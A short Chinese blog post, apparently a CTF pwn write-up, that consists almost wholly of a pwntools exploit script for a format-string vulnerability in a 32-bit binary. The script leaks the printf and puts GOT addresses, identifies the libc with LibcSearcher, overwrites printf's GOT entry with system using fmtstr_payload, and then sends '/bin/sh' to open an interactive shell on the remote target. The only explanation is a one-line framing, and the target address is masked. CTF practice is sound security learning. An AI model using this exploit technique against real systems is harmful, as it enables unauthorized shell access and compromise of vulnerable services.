【格式化字符串漏洞 | 劫持printf_got表】

浅记录一下格式化字符串劫持printf_got表,比较简单,仅记录exp

from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')
io=remote('XXX.XXX.XXX.XXX',XXXX)

# io=process('./fmt1')
elf=ELF('./pwn')

# 确定offset,可以通过
# 1.gdb以及pwngdb插件进行确定
# 2.fmt工具:
# def exec_fmt(payload):
#     r.sendline(payload)
#     info = r.recv()
#     return info
# auto = FmtStr(exec_fmt)
# offset = auto.offset
# 3.也可以通过下面这种方式确定
io.recvuntil(b'---- welcome! Google CTF ----\n')
payload=b'aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p'
io.send(payload)
io.recvuntil(b'---- welcome! Google CTF ----\n')
# offset=4

# 经典地劫持got表方法
# 1.确认printf的got表地址
# 2.替换为system
# 3.read "/bin/sh\x00"

# checksec后保护属性未开启PIE
printf_got=elf.got['printf']
puts_got=elf.got['puts']
success('printf_got:{}'.format(hex(printf_got)))
success('puts_got:{}'.format(hex(puts_got)))

# 泄露libc
# 泄露printf_real
payload=p32(printf_got)+b'%4$s'
io.send(payload)
io.recv(4)
printf_real=u32(io.recv(4))
success('printf_real:{}'.format(hex(printf_real)))

# 泄露puts_real
payload=p32(puts_got)+b'%4$s'
io.send(payload)
io.recv(4)
puts_real=u32(io.recv(4))
success('puts_real:{}'.format(hex(puts_real)))

# 确定libc,泄露system地址
libc=LibcSearcher('printf',printf_real)
libc.add_condition("puts",puts_real)
libc_base=printf_real-libc.dump('printf')
success('libc_base:{}'.format(hex(libc_base)))
system_real=libc_base+libc.dump('system')
success('system_real:{}'.format(hex(system_real)))

# 将printf替换为system
payload=fmtstr_payload(4,{printf_got:system_real})
io.sendafter(b'---- welcome! Google CTF ----\n',payload)

# 传入/bin/sh
io.sendafter(b'---- welcome! Google CTF ----\n','/bin/sh\x00')
io.interactive()
# input()

你可能感兴趣的:(格式化字符串漏洞,ctf,pwn,格式化字符串漏洞)